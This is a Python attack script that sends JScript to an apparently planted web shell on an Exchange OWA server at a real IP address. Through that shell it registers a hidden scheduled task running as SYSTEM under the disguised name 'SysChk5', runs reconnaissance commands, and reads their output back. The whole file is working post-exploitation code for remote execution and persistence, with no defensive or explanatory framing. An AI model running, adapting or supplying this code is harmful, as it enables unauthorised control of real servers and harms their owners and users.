#!/usr/bin/env python3
import requests, time
requests.packages.urllib3.disable_warnings()
EVAL = "https://103.167.140.144/owa/auth/mdcajy.aspx"

def ev(code):
    try:
        r = requests.post(EVAL, data={"exec_code": code}, verify=False, timeout=50)
        return r.text.split('!BD')[0][:800]
    except Exception as e:
        return f"EXC:{type(e).__name__}:{str(e)[:120]}"

xml = ('<?xml version="1.0" encoding="UTF-16"?>'
 '<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">'
 '<RegistrationInfo><Description>syschk</Description></RegistrationInfo>'
 '<Triggers><TimeTrigger><StartBoundary>2026-09-22T00:00:00</StartBoundary><Enabled>true</Enabled></TimeTrigger></Triggers>'
 '<Principals><Principal id="Author"><RunLevel>HighestAvailable</RunLevel><UserId>S-1-5-18</UserId></Principal></Principals>'
 '<Settings><MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy><DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>'
 '<StopIfGoingOnBatteries>false</StopIfGoingOnBatteries><AllowHardTerminate>true</AllowHardTerminate><StartWhenAvailable>true</StartWhenAvailable>'
 '<Enabled>true</Enabled><Hidden>true</Hidden><ExecutionTimeLimit>PT5M</ExecutionTimeLimit></Settings>'
 '<Actions Context="Author"><Exec><Command>C:\\Windows\\System32\\cmd.exe</Command>'
 '<Arguments>/c whoami &amp; hostname &amp; ver &gt; C:\\Windows\\Temp\\o5.txt 2&gt;&amp;1</Arguments></Exec></Actions></Task>')

reg = ("try{var svc=new ActiveXObject('Schedule.Service');svc.Connect();var root=svc.GetFolder('\\\\');"
       "var x='" + xml + "';"
       "var t=root.RegisterTaskDefinition('SysChk5',x,6,null,null,5,0);Response.Write('REG:'+t.Name+'|');"
       "try{t.Run('');Response.Write('RUN_OK');}catch(e){Response.Write('RUN_ERR:'+e.message);}"
       "}catch(e){Response.Write('EXR:'+e.message+'|'+e.description+'|'+e.number);}")
print("[reg]", repr(ev(reg)), flush=True)
time.sleep(12)
rd = 'Response.Write("OUT:"+(System.IO.File.Exists("C:\\\\Windows\\\\Temp\\\\o5.txt")?System.IO.File.ReadAllText("C:\\\\Windows\\\\Temp\\\\o5.txt"):"none"));'
print("[read]", repr(ev(rd)), flush=True)